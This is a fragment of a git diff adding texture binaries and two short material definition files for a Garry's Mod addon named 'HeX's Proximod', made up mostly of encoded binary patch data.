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 OudR{(-hU<>)BHb~t@2+0 literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cone.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cone.vmt new file mode 100644 index 0000000..657f415 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cone.vmt @@ -0,0 +1,11 @@ +"UnlitGeneric" +{ + "_size" "1.0f" + "_color" "[1 1 1 1]" + "_roll" "0.0f" + "$baseTexture" "proxi/beacon_cone" + "$ignorez" 1 + "$nolod" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cone.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cone.vtf new file mode 100644 index 0000000000000000000000000000000000000000..5d47c7529b13e30bfc876bac377a5bdb155d32a5 GIT binary patch literal 87616 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 literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cone_add.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cone_add.vmt new file mode 100644 index 0000000..3f82475 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cone_add.vmt @@ -0,0 +1,7 @@ +"UnlitGeneric" +{ + "$basetexture" "proxi/beacon_cone_add" + "$additive" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cone_add.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cone_add.vtf new file mode 100644 index 0000000000000000000000000000000000000000..1e5bf7b2092dc5c1d64d980719118102bd54f017 GIT binary patch literal 43912 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 